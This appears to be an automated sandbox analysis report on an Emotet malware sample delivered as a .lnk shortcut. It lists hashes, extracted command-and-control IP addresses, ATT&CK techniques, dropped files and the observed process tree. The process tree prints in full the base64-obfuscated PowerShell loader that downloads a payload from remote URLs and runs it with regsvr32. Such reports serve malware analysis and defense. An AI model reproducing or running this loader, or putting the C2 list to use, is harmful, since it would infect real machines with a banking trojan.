emotet | 444afb61279aaf25f8166d9f23b9c56efb277cbe43dbbccef9f55407809842bf

General

Target

444afb61279aaf25f8166d9f23b9c56efb277cbe43dbbccef9f55407809842bf.lnk
Size

3KB
MD5

9d6cf11e83532493480dd167924d2165
SHA1

b83c252564e2cc4b1b17d9279fe42bf3cf6b6326
SHA256

444afb61279aaf25f8166d9f23b9c56efb277cbe43dbbccef9f55407809842bf
SHA512

eb9b02ebc40b7de47cb72dc18b8685f3c64cb880b914ea5f90ab21fed543ec7769ada6ba11173b769f9fb23e9e29aa98499d932c9b7588d6bb5c72dae2d8351e

Score

10^/10

emotet epoch4 banker execution trojan

Malware Config

Extracted

Family

emotet

Botnet

Epoch4

C2

149.56.131.28:8080

72.15.201.15:8080

207.148.79.14:8080

82.165.152.127:8080

46.55.222.11:443

213.241.20.155:443

163.44.196.120:8080

51.254.140.238:7080

107.170.39.149:8080

188.44.20.25:443

82.223.21.224:8080

172.104.251.154:8080

164.68.99.3:8080

101.50.0.91:8080

129.232.188.93:443

173.212.193.249:8080

103.132.242.26:8080

186.194.240.217:443

37.187.115.122:8080

91.207.28.33:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Emotet family
emotet

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	5036	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	cmd.exe

Loads dropped DLL 2 IoCs

pid	Process
1608	regsvr32.exe
3540	regsvr32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5036	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5036	powershell.exe
5036	powershell.exe
1608	regsvr32.exe
1608	regsvr32.exe
3540	regsvr32.exe
3540	regsvr32.exe
3540	regsvr32.exe
3540	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5036	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1424 wrote to memory of 5036	1424	cmd.exe	84
PID 1424 wrote to memory of 5036	1424	cmd.exe	84
PID 5036 wrote to memory of 1608	5036	powershell.exe	92
PID 5036 wrote to memory of 1608	5036	powershell.exe	92
PID 1608 wrote to memory of 3540	1608	regsvr32.exe	93
PID 1608 wrote to memory of 3540	1608	regsvr32.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\444afb61279aaf25f8166d9f23b9c56efb277cbe43dbbccef9f55407809842bf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "&{'ZZvPNSKeK+IuicWBL99TDQVa5lqEmN8IplPY0QcqwUAWg3Kb+66Pjv+f2Sj4d/snwI1Cv4na';$jf='ICAgV3JpdGUtSG9zdCAiT1JqeXEiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oIm';$YFtXtU='h0dHA6Ly93d3cubmFrbGFmc2h0YWJ1ay5jb20vd3AtY29udGVudC9zRVhFWjlFYm1NNlRPRS8iLCJodHRwOi8vam9iY2l0eS5jb20vaW1nL1JNMFhwWC8iLCJodHRwczovL2JvbGVvLm5sL2Nvbm5lY3RvcnMvNjZQR09ERTFIaGF5NGUvIiwiaHR0cDovL3dpbmRzdXJmaW5ndGhhaWxhbmQub3JnL2FkbWluLzNoanltUlBlNGNSNGgvIiwiaHR0cDovL3d3dy52YWx5dmFsLmNvbS9wdW4vaFQvIiwiaHR0cDovL3dpdGh2YWMwMDEuZG90aG9tZS5jby5rci9hc3NldDMvc0xuRms4aUZVd1BBaTFtQWZRLyIpOyR0PSJaUHZaUG9EIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXGtCYk52emhKSXMud0pwO1JlZ3N2cjMyLmV4ZSAiJGRca0JiTnZ6aEpJcy53SnAiO2JyZWFrfSBjYXRjaCB7IH19';$rNJrM=$jf+$YFtXtU;$bIcdbg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($rNJrM));$rNJrM=$bIcdbg;iex($rNJrM)}"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\..\ZPvZPoD\kBbNvzhJIs.wJp
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe "C:\Windows\system32\OCxFEYrXIe\uffLQiatbd.dll"
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:3540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frhurulo.n3l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\ZPvZPoD\kBbNvzhJIs.wJp

Filesize
822KB

MD5
4a659a5e48556eb45b4f05ecede16671

SHA1
135d7bf7ca4d37887892a0c272ca549602cc5145

SHA256
15e9869fff87b5456e40358c52007c9e3f7dbfbe9096aea8c2712e65deb65a5b

SHA512
0e5c1e3055071de09031021688492133f9928462a5a5cc8d8793ee3b542e774399dbac6dd8c81eaf307ca8ce30260537d8eb7bceb824fab29a75d797ac131864

Download Submit
memory/1608-20-0x0000000180000000-0x000000018002A000-memory.dmp

Filesize
168KB

Download
memory/1608-24-0x0000000065280000-0x0000000065357000-memory.dmp

Filesize
860KB

Download
memory/3540-29-0x0000000065280000-0x0000000065357000-memory.dmp

Filesize
860KB

Download
memory/5036-2-0x00007FFB66543000-0x00007FFB66545000-memory.dmp

Filesize
8KB

Download
memory/5036-12-0x00000225322B0000-0x00000225322D2000-memory.dmp

Filesize
136KB

Download
memory/5036-13-0x00007FFB66540000-0x00007FFB67001000-memory.dmp

Filesize
10.8MB

Download
memory/5036-14-0x00007FFB66540000-0x00007FFB67001000-memory.dmp

Filesize
10.8MB

Download
memory/5036-23-0x00007FFB66540000-0x00007FFB67001000-memory.dmp

Filesize
10.8MB

Download

Analysis

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